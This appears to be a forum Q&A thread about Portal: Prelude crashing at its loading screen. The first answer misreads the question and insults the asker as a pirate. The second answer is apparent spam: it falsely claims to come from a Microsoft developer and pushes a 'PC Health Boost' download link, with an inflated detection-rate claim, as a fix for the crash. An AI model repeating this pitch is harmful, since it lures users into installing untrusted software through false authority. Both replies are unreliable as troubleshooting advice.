Portal Prelude crash at the loading screen. Help fixing it?

Question

I just downloaded Portal: Prelude on my computer. Installed it in the SteamMods folder of SteamApps. I got really excited when it started to work (as I'd been working on finding SteamApps all night), and then at the loading screen, it just crashed. Black screen, nothing else. I tried it again- crash. Rebooted and tried, crash. And I've been trying it all day. Does anyone have any help to getting me on track to fixing this problem?

Im running Vista Basic. I have Source SDK, Source SDK Base 2007, 2006, and a legit copy of Portal bought with my own money. So, this isn't a Mac problem, not a Source base problem, and not a 'installing prelude with free promo copy of portal' problem. Of corse, I haven't done much with my source stuff. I've played a bit with Hammer on Source SDK, but if I need to do something else to make this work I can.

Help?

Answer 1

Portal requires a source engine game be installed

counter-strike or hl2. sdk is not a substitute for the source engine



also portal prelude is free but you said you payed for it. so i think

you are a lying little pirate

Answer 2

Don't listen to these guys, they clearly have no clue on what they're talking about. I am a developer at Microsoft so I know a thing or two about computers. To fix your problem you need to install PC Health Boost, download it here for free: http://www.pchealthcleaner.net



It's very light and it's the only antivirus/cleaner with a 99.99% detection rate; it's also a PC booster so your computer will be running faster than normal. Install it, hit run and problem solved. It shouldn't take you more than 5 minutes.

Answer 3

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